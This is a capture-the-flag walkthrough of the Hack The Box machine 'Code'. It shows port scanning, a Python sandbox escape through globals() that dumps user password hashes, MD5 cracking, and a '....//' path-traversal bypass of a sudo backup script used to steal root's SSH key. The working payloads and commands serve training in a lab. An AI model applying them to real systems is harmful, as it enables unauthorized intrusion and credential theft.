Skip to main content
Link to the box: https://app.hackthebox.com/machines/code.

Port Scan

We start off the box by running a port scan on the provided IP.
Attacker Linux
rustscan --ulimit 5000 -a 10.10.11.62 -r 1-65535 -- -A -vvv -oN Code
Output of Nmap:
Terminal Output
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)

5000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
A few key notes:
  • Port 22 (SSH) is open. Running OpenSSH 8.2p1 — nothing useful without credentials.
  • Port 5000 (HTTP) is open, served by Gunicorn 20.0.4. Gunicorn is a Python WSGI server, which tells us we’re dealing with a Python web application. The page title is “Python Code Editor” — immediately interesting, as it suggests users can run code server-side.
  • OS is Linux (Ubuntu), inferred from the TTL of 63.

Edit the Hosts file

As always, we edit the /etc/hosts file to add the hostname:
Attacker Linux
sudo nano /etc/hosts
/etc/hosts
/etc/hosts
10.10.11.62 code.htb

Initial Foothold

Enumerating Port 5000: Web Server

Directory Busting

Feroxbuster:
Attacker Linux
feroxbuster -u http://10.10.11.62:5000 -C 404
  • Results were minimal — only /login and /register endpoints were found. Nothing hidden or interesting.
Dirsearch:
Attacker Linux
dirsearch -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 404 -u http://10.10.11.62:5000
  • Nothing additional discovered. The attack surface is limited to the web application itself.
GoBuster (vhost):
Attacker Linux
gobuster vhost -u http://10.10.11.62:5000 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain code.htb | grep "Status: 200"
  • No virtual hosts found. Let’s dig into the application itself.

Manual Enumeration

Visiting http://code.htb:5000 presents an interactive Python code editor — users can write and run Python code that executes server-side. We register an account to get access:
Credentials
test1:test1
After logging in and exploring the editor, we start testing for obvious attack vectors. The sandbox filters out dangerous keywords. Submitting basic payloads confirms the blocklist includes at minimum:
Terminal Output
import
os
open
  • Direct system access via import os; os.system(...) is blocked.
  • We can’t open files with open().
  • Template injection payloads return nothing either.
  • The usual Python sandbox escape paths are closed off. We need to think more creatively.

Exploiting the Python Sandbox via globals()

After some research, we find that Python’s built-in globals() function is not blocked — and it requires no imports. It returns a dictionary of all names in the current global scope, which in a live Flask/SQLAlchemy application includes the fully initialized database objects.
Web Sandbox
print(globals())
Two entries immediately stand out in the output:
Web Sandbox Output
'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>
'User': <class 'app.User'>
  • db is a live SQLAlchemy engine instance. The connection string reveals the database is SQLite, stored at /home/app-production/app/instance/database.db.
  • User is an ORM-mapped model class — meaning we can call SQLAlchemy query methods on it directly, without writing a single SQL string.
  • This also leaks the app’s file path: /home/app-production/app/, useful for enumeration later.
Let’s confirm what attributes the User model exposes using Python’s dir():
Web Sandbox
print(dir(User))
Web Sandbox Output
['__abstract__', '__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__fsa__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__mapper__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__table__', '__tablename__', '__weakref__', '_sa_class_manager', '_sa_registry', 'codes', 'id', 'metadata', 'password', 'query', 'username']
  • The attributes id, username, and password confirm this is the user table — exactly what we’re after.
  • The query attribute is SQLAlchemy’s query interface, which lets us fetch rows without raw SQL.
We can confirm what the underlying SQL query looks like before executing it:
Web Sandbox
print(User.query)
Web Sandbox Output
SELECT user.id AS user_id, user.username AS user_username, user.password AS user_password FROM user
  • This confirms the table name is user and it has the three columns we identified: id, username, password.
  • password is a separate column from username, so this isn’t a single-field hash — the passwords are stored as distinct values. We can retrieve them cleanly.
Now let’s dump the full user table:
Web Sandbox
users = User.query.all()
for user in users:
    print(user.id, user.username, user.password)
Web Sandbox Output
1 development 759b74ce43947f5f4c91aeddc3e5bad3
2 martin 3de6f30c4a09c27fc71932bfc68474be
  • Two users: development and martin.
  • Both hashes are 32 hexadecimal characters — the classic signature of MD5 (hashcat mode 0). MD5 is unsalted here, which means common passwords are trivially reversible with a lookup table.

Cracking the Hashes

We submit both hashes to CrackStation:
Terminal Output
759b74ce43947f5f4c91aeddc3e5bad3  →  development
3de6f30c4a09c27fc71932bfc68474be  →  nafeelswordsmaster
Credentials
development:development
martin:nafeelswordsmaster
  • Both cracked instantly from the public lookup table — unsalted MD5 with weak passwords.
  • martin is a named system user, they’re the more interesting target.
  • Note: The intended path likely goes through app-production to get user.txt first. We’ll skip ahead to martin who has a sudo privilege, and come back to the user flag once we’re root.

Privilege Escalation

Logging in as martin

Attacker Linux
Password: nafeelswordsmaster

Post-ex Enumeration

sudo -l

Victim Linux (code.htb)
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
  • Martin can run /usr/bin/backy.sh as (ALL : ALL) — meaning as any user including root — with no password required.
  • The script path is absolute and hardcoded, so we can’t swap it out. But we can control what we pass to it.
  • Let’s read the script to understand what it does.

Inspecting backy.sh

Victim Linux (code.htb)
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done
/usr/bin/backy "$json_file"
A few things to note about the script:
  • It takes a single argument: a path to a task.json file. That file controls which directories get backed up. Since martin owns ~/backups/task.json, we control the input entirely.
  • The underlying backy binary runs as root (inherited from the sudo context), so it can read any file on the system.
  • Two security controls are in place to prevent obvious path traversal:
    1. Path traversal strip: jq gsub("\\.\\./"; "") strips all occurrences of the exact string ../ from every path in directories_to_archive.
    2. Allowlist prefix check: Each resulting path must start with either /var/ or /home/. Anything else causes the script to exit.
The existing ~/backups/task.json for reference:
~/backups/task.json
{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/app-production/app"
    ],
    "exclude": [
        ".*"
    ]
}
  • The destination is martin’s own backups folder — we can retrieve the archive via scp after the job runs.
  • The exclude pattern .* hides dotfiles by default. We’ll want to remove this when targeting /root so we don’t miss .ssh/.

Exploiting the Path Traversal Filter

The gsub("\\.\\./"; "") only strips the exact three-character sequence ../. It is not recursive and does not handle double-encoding. This means we can craft a string that contains ../ embedded inside extra dots and slashes — such that after the strip, a valid ../ remains. The trick: use ....// instead of ../. Here’s the breakdown of why it survives the filter:
Path Traversal Analysis
Input:  ....//

Characters by index:
  0: .
  1: .
  2: .
  3: .
  4: /
  5: /

gsub scans for the pattern "../" (dot dot slash):
  → Match found at index 2: chars[2,3,4] = ., ., /  ✓

After removing that match:
  Remaining: chars[0,1] + chars[5] = . . /  →  ../
So ....// → after one pass of gsub("../"; "") → produces ../. Applied to the full path:
Path Traversal Analysis
/home/....//root
  → gsub strips "../" (chars 8–10 inside "..../")
  → /home/../root
  → resolves to /root at the filesystem level
  • The allowlist check runs on the pre-resolution string /home/../root, which starts with /home/ — passes.
  • The backy binary then resolves the path and backs up /root as root.
We modify task.json to target /root, and remove the exclude dotfiles filter so we capture .ssh/:
task.json
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/....//root"
  ],
  "exclude": []
}
Victim Linux (code.htb)
sudo /usr/bin/backy.sh task.json
  • The script strips ../ from ....//, leaving ../, which resolves to /root.
  • backy runs as root and archives the entire /root directory into ~/backups/.

Extracting the Backup

We pull the archive down to our attacker machine:
Attacker Linux
scp [email protected]:/home/martin/backups/code_home_.._root_2025_May.tar.bz2 ./
  • The filename code_home_.._root_2025_May.tar.bz2 reflects the resolved path (home/../root) — confirming the traversal worked.
Attacker Linux
tar -xvf code_home_.._root_2025_May.tar.bz2
  • Extracting the archive reveals the full contents of /root/, including /root/.ssh/id_rsa — root’s private SSH key.
We use it to log in directly as root:
Attacker Linux
ssh [email protected] -i id_rsa
Victim Linux (code.htb)
root@code:~# cat root.txt
406fa222e5cfd0474c8023d7e03d4a4b
While we’re here, let’s grab the user flag from app-production’s home directory — this is the one we skipped earlier:
Victim Linux (code.htb)
root@code:/home/app-production# cat user.txt
d845f305eb47ff8b6fae06ed3702450e

Learning

1. Python Sandbox Escape via globals()

Even when dangerous keywords like import, os, and open are filtered, Python’s built-in globals() function remains accessible — no imports required. It exposes the full runtime state of the application. If the app uses SQLAlchemy, the ORM model classes in globals can be queried directly to dump the database: users = User.query.all().

2. Path Traversal Filter Bypass with Doubled Dots

A filter that strips only the exact pattern ../ (e.g., gsub("../"; "")) can be bypassed using ....//. When ../ is removed from ....//, one traversal sequence remains (../). Combined with an allowlist prefix check, the payload /home/....//root passes both controls but resolves to /root at runtime.

Tags

Initial Access

#Web_Exploit #Python #Sandbox #Credentials_Hunting

Privilege Escalation

#Path_Traversal #Backup_Files #sudo
Last modified on February 17, 2026